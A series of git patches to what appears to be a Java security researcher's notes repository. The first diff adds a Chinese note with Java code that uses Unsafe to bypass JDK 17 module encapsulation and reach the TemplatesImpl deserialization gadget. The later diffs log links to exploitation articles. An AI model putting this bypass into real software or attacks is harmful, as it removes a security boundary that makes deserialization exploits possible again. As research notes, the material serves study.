+在jdk17使用反序列化的时候发现要报错 + +``` +InvokerTransformer: The method 'newTransformer' on 'class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' cannot be accessed +``` + + +![image](https://user-images.githubusercontent.com/63966847/208854101-cfe0eee9-5882-4450-9d82-7092d353e30c.png) + +限制了 + +![image](https://user-images.githubusercontent.com/63966847/208854137-7c56007c-ac54-4490-8f30-2753cc0e52e3.png) + + +限制了的类https://cr.openjdk.java.net/~mr/jigsaw/jdk8-packages-strongly-encapsulated + +## 需要bypass + +``` +按照提案的说明，被严格限制的这些内部 API 包括： + +java.* 包下面的部分非 public 类、方法、属性，例如 Classloader 当中的 defineClass 等等。 +sun.* 下的所有类及其成员都是内部 API。 +绝大多数 com.sun.* 、 jdk.* 、org.* 包下面的类及其成员也是内部 API。 +``` + +**code** + +```java + +import sun.misc.Unsafe; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; + +/** + * https://cr.openjdk.java.net/~mr/jigsaw/jdk8-packages-strongly-encapsulated + */ +public class BypassModule { + public static void main(String[] args) throws Exception { + final ArrayList classes = new ArrayList<>(); + classes.add(Class.forName("java.lang.reflect.Field")); + classes.add(Class.forName("java.lang.reflect.Method")); + Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); + classes.add(aClass); + new BypassModule().bypassModule(classes); + aClass.newInstance(); + } + + public void bypassModule(ArrayList classes){ + try { + Unsafe unsafe = getUnsafe(); + Class currentClass = this.getClass(); + try { + Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); + if (getModuleMethod != null) { + for (Class aClass : classes) { + Object targetModule = getModuleMethod.invoke(aClass, new Object[]{}); + unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule); + } + } + }catch (Exception e) { + } + }catch (Exception e){ + e.printStackTrace(); + } + } + + private static Method getMethod(Class clazz,String methodName,Class[] params) { + Method method = null; + while (clazz!=null){ + try { + method = clazz.getDeclaredMethod(methodName,params); + break; + }catch (NoSuchMethodException e){ + clazz = clazz.getSuperclass(); + } + } + return method; + } + + private static Unsafe getUnsafe() { + Unsafe unsafe = null; + try { + Field field = Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (Unsafe) field.get(null); + } catch (Exception e) { + throw new AssertionError(e); + } + return unsafe; + } +} +``` + From 63b0ceabd7324ce197f5b7ab3ca1b6b60952fa7e Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 22 Dec 2022 12:40:21 +0800 Subject: [PATCH 147/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 2 ++ 1 file changed, 2 insertions(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index f3aa154..22a163a 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -218,3 +218,5 @@ + 2022/12/17 [java.exe和javaw.exe区别](https://blog.csdn.net/xtho62/article/details/114085591) 在bp启动的时候看到了 + 2022/12/17 [Weakness in Java TLS Host Verification](https://blog.h3xstream.com/2020/10/weakness-in-java-tls-host-verification.html) **字符编码绕过** + 2022/12/18 [Java使用 try catch会影响性能？](https://mp.weixin.qq.com/s/kkEGvMwaG6J1WrD_DWRRzg) **不会** ++ 2022/12/22 [How I was able to steal users credentials via Swagger UI DOM-XSS](https://medium.com/@M0X0101/how-i-was-able-to-steal-users-credentials-via-swagger-ui-dom-xss-e84255eb8c96) ++ 2022/12/22 [浅析自动绑定漏洞](https://xz.aliyun.com/t/128) [浅析自动绑定漏洞之Spring MVC](https://www.mi1k7ea.com/2020/02/12/%E6%B5%85%E6%9E%90%E8%87%AA%E5%8A%A8%E7%BB%91%E5%AE%9A%E6%BC%8F%E6%B4%9E%E4%B9%8BSpring-MVC/) [Spring MVC Autobinding漏洞实例初窥](https://xz.aliyun.com/t/1089) [Autobinding](https://github.com/Cryin/JavaID/blob/master/JAVA%E5%AE%89%E5%85%A8%E7%BC%96%E7%A0%81%E4%B8%8E%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1.md) **Autobinding漏洞，代码审计的时候可以关注@SessionAttributes,@ModelAttribute注解** From 2c555b4d7fddc1d2e7574a28197127df62a66be6 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 22 Dec 2022 13:53:25 +0800 Subject: [PATCH 148/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 22a163a..4ca5bb7 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -220,3 +220,4 @@ + 2022/12/18 [Java使用 try catch会影响性能？](https://mp.weixin.qq.com/s/kkEGvMwaG6J1WrD_DWRRzg) **不会** + 2022/12/22 [How I was able to steal users credentials via Swagger UI DOM-XSS](https://medium.com/@M0X0101/how-i-was-able-to-steal-users-credentials-via-swagger-ui-dom-xss-e84255eb8c96) + 2022/12/22 [浅析自动绑定漏洞](https://xz.aliyun.com/t/128) [浅析自动绑定漏洞之Spring MVC](https://www.mi1k7ea.com/2020/02/12/%E6%B5%85%E6%9E%90%E8%87%AA%E5%8A%A8%E7%BB%91%E5%AE%9A%E6%BC%8F%E6%B4%9E%E4%B9%8BSpring-MVC/) [Spring MVC Autobinding漏洞实例初窥](https://xz.aliyun.com/t/1089) [Autobinding](https://github.com/Cryin/JavaID/blob/master/JAVA%E5%AE%89%E5%85%A8%E7%BC%96%E7%A0%81%E4%B8%8E%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1.md) **Autobinding漏洞，代码审计的时候可以关注@SessionAttributes,@ModelAttribute注解** ++ 2022/12/22 [渗透必备！文件读取漏洞的后利用姿势](https://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247539336&idx=1&sn=81cd9e896db0dc9febd9f44bfbb1c69c&chksm=f9e335d3ce94bcc5894e9a6309ec200b8761d8eaef611b07c21fffe01459c71b1f4b686486a0&mpshare=1&scene=23&srcid=1222fVGVLCHXZOEVl7ECdKpe&sharer_sharetime=1671640052561&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **/var/lib/mlocate/mlocate.db 文件比较有趣 centos默认有 ubu默认没有.** From 2281f68f8c506e035b182a1d1879b266d5ddb770 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 23 Dec 2022 19:59:39 +0800 Subject: [PATCH 149/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 4ca5bb7..e763ad3 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -221,3 +221,4 @@ + 2022/12/22 [How I was able to steal users credentials via Swagger UI DOM-XSS](https://medium.com/@M0X0101/how-i-was-able-to-steal-users-credentials-via-swagger-ui-dom-xss-e84255eb8c96) + 2022/12/22 [浅析自动绑定漏洞](https://xz.aliyun.com/t/128) [浅析自动绑定漏洞之Spring MVC](https://www.mi1k7ea.com/2020/02/12/%E6%B5%85%E6%9E%90%E8%87%AA%E5%8A%A8%E7%BB%91%E5%AE%9A%E6%BC%8F%E6%B4%9E%E4%B9%8BSpring-MVC/) [Spring MVC Autobinding漏洞实例初窥](https://xz.aliyun.com/t/1089) [Autobinding](https://github.com/Cryin/JavaID/blob/master/JAVA%E5%AE%89%E5%85%A8%E7%BC%96%E7%A0%81%E4%B8%8E%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1.md) **Autobinding漏洞，代码审计的时候可以关注@SessionAttributes,@ModelAttribute注解** + 2022/12/22 [渗透必备！文件读取漏洞的后利用姿势](https://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247539336&idx=1&sn=81cd9e896db0dc9febd9f44bfbb1c69c&chksm=f9e335d3ce94bcc5894e9a6309ec200b8761d8eaef611b07c21fffe01459c71b1f4b686486a0&mpshare=1&scene=23&srcid=1222fVGVLCHXZOEVl7ECdKpe&sharer_sharetime=1671640052561&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **/var/lib/mlocate/mlocate.db 文件比较有趣 centos默认有 ubu默认没有.** ++ 2022/12/23 [红队实录系列(三)-WiFi 近源攻击实战](https://mp.weixin.qq.com/s?__biz=MzkzNjM5MDYwNw==&mid=2247483774&idx=1&sn=8808bfa1445f6b516077a1af244b761f&chksm=c29e3bdef5e9b2c89e0b607a08f098fca261228079259472bef46c645d8a83d2e1ed955f9ffe&mpshare=1&scene=23&srcid=1223e1e52DqpkBFnt02jHE7R&sharer_sharetime=1671794034434&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) From b90b5259a380a49f15aadf28ea88da6f73c028f0 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 23 Dec 2022 21:39:48 +0800 Subject: [PATCH 150/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index e763ad3..df3590f 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -222,3 +222,4 @@ + 2022/12/22 [浅析自动绑定漏洞](https://xz.aliyun.com/t/128) [浅析自动绑定漏洞之Spring MVC](https://www.mi1k7ea.com/2020/02/12/%E6%B5%85%E6%9E%90%E8%87%AA%E5%8A%A8%E7%BB%91%E5%AE%9A%E6%BC%8F%E6%B4%9E%E4%B9%8BSpring-MVC/) [Spring MVC Autobinding漏洞实例初窥](https://xz.aliyun.com/t/1089) [Autobinding](https://github.com/Cryin/JavaID/blob/master/JAVA%E5%AE%89%E5%85%A8%E7%BC%96%E7%A0%81%E4%B8%8E%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1.md) **Autobinding漏洞，代码审计的时候可以关注@SessionAttributes,@ModelAttribute注解** + 2022/12/22 [渗透必备！文件读取漏洞的后利用姿势](https://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247539336&idx=1&sn=81cd9e896db0dc9febd9f44bfbb1c69c&chksm=f9e335d3ce94bcc5894e9a6309ec200b8761d8eaef611b07c21fffe01459c71b1f4b686486a0&mpshare=1&scene=23&srcid=1222fVGVLCHXZOEVl7ECdKpe&sharer_sharetime=1671640052561&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **/var/lib/mlocate/mlocate.db 文件比较有趣 centos默认有 ubu默认没有.** + 2022/12/23 [红队实录系列(三)-WiFi 近源攻击实战](https://mp.weixin.qq.com/s?__biz=MzkzNjM5MDYwNw==&mid=2247483774&idx=1&sn=8808bfa1445f6b516077a1af244b761f&chksm=c29e3bdef5e9b2c89e0b607a08f098fca261228079259472bef46c645d8a83d2e1ed955f9ffe&mpshare=1&scene=23&srcid=1223e1e52DqpkBFnt02jHE7R&sharer_sharetime=1671794034434&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) ++ 2022/12/23 [漫谈 JEP 290](https://xz.aliyun.com/t/10170) **总结的非常好，在weblogic中启动了全局的过滤器那么如果存在一个cve是jndi,能不能通过ldap打本地反序列化的方法去rce?不能！！！因为ldap打本地反序列化需要有一个gadget虽然weblogic中的gadget非常多但是都被黑名单过滤了又因为是全局过滤器所以在ldap这条路也不能用。除非用jndi......就又一直重复了。** From 30ecf7ac2f030fee93742e66a58f64d835b91a5f Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 25 Dec 2022 13:53:42 +0800 Subject: [PATCH 151/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index df3590f..7198c30 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -223,3 +223,4 @@ + 2022/12/22 [渗透必备！文件读取漏洞的后利用姿势](https://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247539336&idx=1&sn=81cd9e896db0dc9febd9f44bfbb1c69c&chksm=f9e335d3ce94bcc5894e9a6309ec200b8761d8eaef611b07c21fffe01459c71b1f4b686486a0&mpshare=1&scene=23&srcid=1222fVGVLCHXZOEVl7ECdKpe&sharer_sharetime=1671640052561&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **/var/lib/mlocate/mlocate.db 文件比较有趣 centos默认有 ubu默认没有.** + 2022/12/23 [红队实录系列(三)-WiFi 近源攻击实战](https://mp.weixin.qq.com/s?__biz=MzkzNjM5MDYwNw==&mid=2247483774&idx=1&sn=8808bfa1445f6b516077a1af244b761f&chksm=c29e3bdef5e9b2c89e0b607a08f098fca261228079259472bef46c645d8a83d2e1ed955f9ffe&mpshare=1&scene=23&srcid=1223e1e52DqpkBFnt02jHE7R&sharer_sharetime=1671794034434&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2022/12/23 [漫谈 JEP 290](https://xz.aliyun.com/t/10170) **总结的非常好，在weblogic中启动了全局的过滤器那么如果存在一个cve是jndi,能不能通过ldap打本地反序列化的方法去rce?不能！！！因为ldap打本地反序列化需要有一个gadget虽然weblogic中的gadget非常多但是都被黑名单过滤了又因为是全局过滤器所以在ldap这条路也不能用。除非用jndi......就又一直重复了。** ++ [网络安全14：Struts2框架下Log4j2漏洞检测方法分析与总结](https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484207&idx=1&sn=285b54a79e48db9a05816cab2e6afc27&chksm=c25fcc54f5284542c1b9abe870e0caa9f958f4da90723bd83292deed215c63c705b7b0bbfaff&mpshare=1&scene=23&srcid=1225r9kGcJN5evUgMo6ecUCC&sharer_sharetime=1671942359949&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **自己也find 一些** From ec064e1bd7cdbb212e57845800de22a5a1216c51 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 26 Dec 2022 14:20:43 +0800 Subject: [PATCH 152/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 7198c30..99c7f33 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -224,3 +224,4 @@ + 2022/12/23 [红队实录系列(三)-WiFi 近源攻击实战](https://mp.weixin.qq.com/s?__biz=MzkzNjM5MDYwNw==&mid=2247483774&idx=1&sn=8808bfa1445f6b516077a1af244b761f&chksm=c29e3bdef5e9b2c89e0b607a08f098fca261228079259472bef46c645d8a83d2e1ed955f9ffe&mpshare=1&scene=23&srcid=1223e1e52DqpkBFnt02jHE7R&sharer_sharetime=1671794034434&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2022/12/23 [漫谈 JEP 290](https://xz.aliyun.com/t/10170) **总结的非常好，在weblogic中启动了全局的过滤器那么如果存在一个cve是jndi,能不能通过ldap打本地反序列化的方法去rce?不能！！！因为ldap打本地反序列化需要有一个gadget虽然weblogic中的gadget非常多但是都被黑名单过滤了又因为是全局过滤器所以在ldap这条路也不能用。除非用jndi......就又一直重复了。** + [网络安全14：Struts2框架下Log4j2漏洞检测方法分析与总结](https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484207&idx=1&sn=285b54a79e48db9a05816cab2e6afc27&chksm=c25fcc54f5284542c1b9abe870e0caa9f958f4da90723bd83292deed215c63c705b7b0bbfaff&mpshare=1&scene=23&srcid=1225r9kGcJN5evUgMo6ecUCC&sharer_sharetime=1671942359949&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **自己也find 一些** ++ 2022/12/26 [第27篇：CSRF跨站请求伪造漏洞挖掘及绕过校验方法](https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484515&idx=1&sn=eacea9e2e1636d27a4d122a8c28ca98d&chksm=c25fcb18f528420ee30ed8d48d76add6423c736408ce50f4723b7b4aa8213e7ad7d400c268ea&cur_album_id=2660130833605132289&scene=190#rd) **了解了解** From b79e592babf114fee514f1524b96ea132485502c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 26 Dec 2022 15:34:55 +0800 Subject: [PATCH 153/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 99c7f33..512d727 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -225,3 +225,4 @@ + 2022/12/23 [漫谈 JEP 290](https://xz.aliyun.com/t/10170) **总结的非常好，在weblogic中启动了全局的过滤器那么如果存在一个cve是jndi,能不能通过ldap打本地反序列化的方法去rce?不能！！！因为ldap打本地反序列化需要有一个gadget虽然weblogic中的gadget非常多但是都被黑名单过滤了又因为是全局过滤器所以在ldap这条路也不能用。除非用jndi......就又一直重复了。** + [网络安全14：Struts2框架下Log4j2漏洞检测方法分析与总结](https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484207&idx=1&sn=285b54a79e48db9a05816cab2e6afc27&chksm=c25fcc54f5284542c1b9abe870e0caa9f958f4da90723bd83292deed215c63c705b7b0bbfaff&mpshare=1&scene=23&srcid=1225r9kGcJN5evUgMo6ecUCC&sharer_sharetime=1671942359949&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **自己也find 一些** + 2022/12/26 [第27篇：CSRF跨站请求伪造漏洞挖掘及绕过校验方法](https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484515&idx=1&sn=eacea9e2e1636d27a4d122a8c28ca98d&chksm=c25fcb18f528420ee30ed8d48d76add6423c736408ce50f4723b7b4aa8213e7ad7d400c268ea&cur_album_id=2660130833605132289&scene=190#rd) **了解了解** ++ 2022/12/26 [API安全学习笔记](https://xz.aliyun.com/t/11977) [玩转graphQL](https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ) **api的安全** From 90a97719fb1a4a01ed329cd3761c7dbecb932d6d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 27 Dec 2022 16:40:54 +0800 Subject: [PATCH 154/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 512d727..7c1f657 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -226,3 +226,4 @@ + [网络安全14：Struts2框架下Log4j2漏洞检测方法分析与总结](https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484207&idx=1&sn=285b54a79e48db9a05816cab2e6afc27&chksm=c25fcc54f5284542c1b9abe870e0caa9f958f4da90723bd83292deed215c63c705b7b0bbfaff&mpshare=1&scene=23&srcid=1225r9kGcJN5evUgMo6ecUCC&sharer_sharetime=1671942359949&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **自己也find 一些** + 2022/12/26 [第27篇：CSRF跨站请求伪造漏洞挖掘及绕过校验方法](https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484515&idx=1&sn=eacea9e2e1636d27a4d122a8c28ca98d&chksm=c25fcb18f528420ee30ed8d48d76add6423c736408ce50f4723b7b4aa8213e7ad7d400c268ea&cur_album_id=2660130833605132289&scene=190#rd) **了解了解** + 2022/12/26 [API安全学习笔记](https://xz.aliyun.com/t/11977) [玩转graphQL](https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ) **api的安全** ++ 2022/12/27 [某厂商数据库审计系统前台RCE挖掘之旅](https://www.sec-in.com/article/2006) [amazon-redshift-jdbc-driver 任意代码执行漏洞](https://www.sec-in.com/article/896) From 5065bedf5af76a0892d971dcf9555ce75328d45f Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 28 Dec 2022 13:03:35 +0800 Subject: [PATCH 155/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 7c1f657..ff8ff2c 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -227,3 +227,4 @@ + 2022/12/26 [第27篇：CSRF跨站请求伪造漏洞挖掘及绕过校验方法](https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484515&idx=1&sn=eacea9e2e1636d27a4d122a8c28ca98d&chksm=c25fcb18f528420ee30ed8d48d76add6423c736408ce50f4723b7b4aa8213e7ad7d400c268ea&cur_album_id=2660130833605132289&scene=190#rd) **了解了解** + 2022/12/26 [API安全学习笔记](https://xz.aliyun.com/t/11977) [玩转graphQL](https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ) **api的安全** + 2022/12/27 [某厂商数据库审计系统前台RCE挖掘之旅](https://www.sec-in.com/article/2006) [amazon-redshift-jdbc-driver 任意代码执行漏洞](https://www.sec-in.com/article/896) ++ 2022/12/28 [溯源实例-从OA到某信源RCE全0day渗透](https://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247502698&idx=1&sn=5bfb3124ea5e6dde0f75a16dcc0281c7&chksm=c04d4c54f73ac54284ab70eb074cca632f177ce7af61440cf6a9a47ac17b01ad9a105d6b14e0&subscene=236&key=65a52f471bc41d13b06f820a346368bbb4e4f5342b20850e7a77c8224a338af9d3257d5f4d1f771946ff2bde8a2de3838ef166f262aa3a96f7cae7c3b2581ca8a81e130ac03a98e20269c21b3c4388ce02a40367460b5486fa035d58e7973f7e0119cab28b07861b0c03315d5c1285da188ec1b0bfbe37e35ee05af34397a18e&ascene=7&uin=ODYyODE3NzI1&devicetype=Windows+10+x64&version=6308011a&lang=zh_CN&exportkey=n_ChQIAhIQp5liK4%2FGWZqVL2Un7OelRxLgAQIE97dBBAEAAAAAAG3xIKrEpowAAAAOpnltbLcz9gKNyK89dVj01MV50uZ2yoWxvdVPBS6nWl9mhSxXxZU6TC1EzeR8twNAtjlPlR%2BlkVNUUWtnUyuEkRgAsssOTDpaTQW1DGrprZEvTAgVXo3NoSI2Wz%2F9eScz2ACkvqF2rDsjp7WCVYF2Hl06xyJpJrlMNtn8AFjdPRh2352Y5klVxQ7BEtppP0ymCCSvNXigWUp5r1efdCEt6C7IMr12jsU4QaBGzmIASwIwdPunj6oeyeww%2B27Awg4kpvYKMBxgCZR9&acctmode=0&pass_ticket=BZXHTJB745OK74KYAukYaeZngdGnH8T2IaWh7T7wSCXlPlkLM%2FrS4cixsrs5q4hv2Q3obpsbuOUcPLpKfDhtHA%3D%3D&wx_header=1&fontgear=2) **不错** From 03ca852697d7af343d590f5c535fa8b46d08e5ef Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 28 Dec 2022 13:11:58 +0800 Subject: [PATCH 156/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index ff8ff2c..6b0de79 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -228,3 +228,4 @@ + 2022/12/26 [API安全学习笔记](https://xz.aliyun.com/t/11977) [玩转graphQL](https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ) **api的安全** + 2022/12/27 [某厂商数据库审计系统前台RCE挖掘之旅](https://www.sec-in.com/article/2006) [amazon-redshift-jdbc-driver 任意代码执行漏洞](https://www.sec-in.com/article/896) + 2022/12/28 [溯源实例-从OA到某信源RCE全0day渗透](https://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247502698&idx=1&sn=5bfb3124ea5e6dde0f75a16dcc0281c7&chksm=c04d4c54f73ac54284ab70eb074cca632f177ce7af61440cf6a9a47ac17b01ad9a105d6b14e0&subscene=236&key=65a52f471bc41d13b06f820a346368bbb4e4f5342b20850e7a77c8224a338af9d3257d5f4d1f771946ff2bde8a2de3838ef166f262aa3a96f7cae7c3b2581ca8a81e130ac03a98e20269c21b3c4388ce02a40367460b5486fa035d58e7973f7e0119cab28b07861b0c03315d5c1285da188ec1b0bfbe37e35ee05af34397a18e&ascene=7&uin=ODYyODE3NzI1&devicetype=Windows+10+x64&version=6308011a&lang=zh_CN&exportkey=n_ChQIAhIQp5liK4%2FGWZqVL2Un7OelRxLgAQIE97dBBAEAAAAAAG3xIKrEpowAAAAOpnltbLcz9gKNyK89dVj01MV50uZ2yoWxvdVPBS6nWl9mhSxXxZU6TC1EzeR8twNAtjlPlR%2BlkVNUUWtnUyuEkRgAsssOTDpaTQW1DGrprZEvTAgVXo3NoSI2Wz%2F9eScz2ACkvqF2rDsjp7WCVYF2Hl06xyJpJrlMNtn8AFjdPRh2352Y5klVxQ7BEtppP0ymCCSvNXigWUp5r1efdCEt6C7IMr12jsU4QaBGzmIASwIwdPunj6oeyeww%2B27Awg4kpvYKMBxgCZR9&acctmode=0&pass_ticket=BZXHTJB745OK74KYAukYaeZngdGnH8T2IaWh7T7wSCXlPlkLM%2FrS4cixsrs5q4hv2Q3obpsbuOUcPLpKfDhtHA%3D%3D&wx_header=1&fontgear=2) **不错** ++ 2022/12/28 [Android 远程攻击面——WebView 攻防](https://mp.weixin.qq.com/s?__biz=MzI0Njg4NzE3MQ==&mid=2247490611&idx=1&sn=837678e428d46cddf588c8d6fc8b7dfd&chksm=e9b93a5fdeceb349357bd2cdb290ae1c31e8e63b8f3c793ee24780fb5af9b68f95812ead9f13&subscene=236&key=fe7e74d3eacd7a65828a0ce0e318fdea2e2ccd9e009a21e3e4624d8991854c06c5b6cae849bc9e4e44533463ae99a2c32dc7b3d3d085a0504aa762fdf7d10e650e04f312a4af452e290c74eb09aa3b920b4d755383b4656815d50939776dae2b1a3708ed2dc80b61f0cb947562edf2c404fdbf88353b3da1a1ce7c0bb1e146b5&ascene=7&uin=ODYyODE3NzI1&devicetype=Windows+10+x64&version=6308011a&lang=zh_CN&exportkey=n_ChQIAhIQkmMc3S%2BR4POkBz6WNBhgzhLgAQIE97dBBAEAAAAAAEt1Ay0JAV0AAAAOpnltbLcz9gKNyK89dVj0%2FvvQaNijZxhY4D5kpMxru76EYhQ6ux%2BmNJ7Yb0mAhoiwczAd6gUnkS6geo44uTYsLTCJdvSqGoJm%2BSlQc7QOaLOYE7M4J2tjl7BZZd1SDJly%2BY2r5Z%2FYGl80IKiMXYWDnQW8ghg2yu5p9x%2FqI7W0SMnmoSXYuSbFfwfBjlYDoTdQvk3PQ1qnRsRkwmFqr335CD7pLQeFal3FiaJ3JYIC%2BC8Rk6r9DGhatU5IRLe8o2EevyG35KnmpqW8&acctmode=0&pass_ticket=BZXHTJB745OK74KYAukYaeZngdGnH8T2IaWh7T7wSCU9NSOr5Ca%2Bl68ysc6dTAsgsjjNjYJt%2BpYHw6rW7dB9ag%3D%3D&wx_header=1&fontgear=2) **之后说不定遇到学习** From ed5ddcb089a34a498562bef0f1ba67790cfb2d25 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 28 Dec 2022 19:08:32 +0800 Subject: [PATCH 157/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 6b0de79..d230a63 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -229,3 +229,4 @@ + 2022/12/27 [某厂商数据库审计系统前台RCE挖掘之旅](https://www.sec-in.com/article/2006) [amazon-redshift-jdbc-driver 任意代码执行漏洞](https://www.sec-in.com/article/896) + 2022/12/28 